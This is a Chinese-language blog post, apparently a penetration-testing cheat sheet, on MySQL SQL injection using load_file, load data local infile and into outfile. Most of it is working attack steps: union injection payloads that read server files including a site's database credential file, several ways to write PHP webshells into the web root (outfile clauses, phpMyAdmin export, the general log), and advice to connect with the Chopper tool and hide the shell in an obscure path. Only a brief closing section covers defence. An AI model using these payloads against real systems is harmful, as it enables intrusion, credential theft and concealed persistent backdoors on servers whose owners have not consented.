mysqlintoloadfile,SQL注入之load_file和intooutfile(MySQL)

0x00 load_file() 读文件

条件:

1. 要有file_priv权限: show global variables like &＃39;%secure%&＃39;;

2. 知道文件绝对路径

3. 能使用union

4. 对web目录有读权限

注&＃xff1a;若过滤了单引号&＃xff0c;则可以将函数中的字符进行hex编码

一般步骤

读/etc/init.d下的东西&＃xff0c;这里有配置文件路径

?id&＃61;1&＃39; union select 1,2,load_file(&＃39;/etc/init.d/httpd&＃39;)

得到web安装路径

?id&＃61;1&＃39; union select 1,2,load_file(&＃39;/etc/apache/conf/httpd.conf&＃39;)

读取密码文件

?id&＃61;1&＃39; union select 1,2,load_file(&＃39;/site/xxx.com/conf/conn.inc.php&＃39;)

0x01 load data local infile 读文件

条件:

MySQL8 中需要 SET GLOBAL local_infile&＃61;1;

语句

LOAD DATA LOCAL INFILE &＃39;D:/pet.txt&＃39; INTO TABLE pet FIELDS TERMINATED BY &＃39;&＃39;;

select * from pet;

0x02 into outfile getshell

条件&＃xff1a;

1. 要有file_priv权限

2. 知道网站绝对路径

3. 要能用union

4. 对web目录有写权限

5. 没有过滤单引号

一般方法

当知道路径时&＃xff0c;可以直接用

id&＃61;1 union select " phpinfo();>" into outfile("C:/phpStudy/WWW/a.php")

id&＃61;1 into outfile &＃39;C:/phpStudy/WWW/a.php&＃39; columns terminated by &＃39; phpinfo();>&＃39;;

id&＃61;1 into outfile &＃39;C:/phpStudy/WWW/a.php&＃39; fields terminated by &＃39; phpinfo();>&＃39;;

id&＃61;1 into outfile &＃39;C:/phpStudy/WWW/a.php&＃39; lines terminated by &＃39; phpinfo();>&＃39;;

id&＃61;1 into outfile &＃39;C:/phpStudy/WWW/a.php&＃39; lines starting by &＃39; phpinfo();>&＃39;;

phpMyAdmin 导出数据 getshell

登陆phpMyAdmin

use test; 选择数据库为test

create table aaa(bbb varchar(64)); 在数据库中创建一个表aaa

insert into aaa values(""); --在 aaa 中写入 shell 内容

select * from aaa into outfile &＃39;C:/phpStudy/WWW/a.php&＃39;; --将 aaa 中的数据导出到文件 a.php

localhost:80/a.php能访问

drop aaa; --删除建立的表

然后菜刀连接

菜刀连接http://www.aa.com/a.php&＃xff0c;然后更改shell的名字并将shell放在较隐蔽的地方&＃xff0c;比如C:\phpStudy\WWW\phpMyAdmin\setup\lib\common.php

phpMyAdmin 日志 getshell

show variables like &＃39;%general%&＃39;; #查看配置

set global general_log &＃61; on; #开启general log模式

set global general_log_file &＃61; &＃39;C:/phpStudy/WWW/a.php&＃39;; #设置日志目录为shell地址

select &＃39;&＃39; #写入shell

set global general_log&＃61;off; #关闭general log模式

0x03 防御

数据库连接账号不要用root权限

php关闭报错模式

mysql账户没有权限向网站目录写文件

若未作声明则文章版权归本人(&＃64;reber)所有&＃xff0c;转载请注明原文链接&＃xff1a;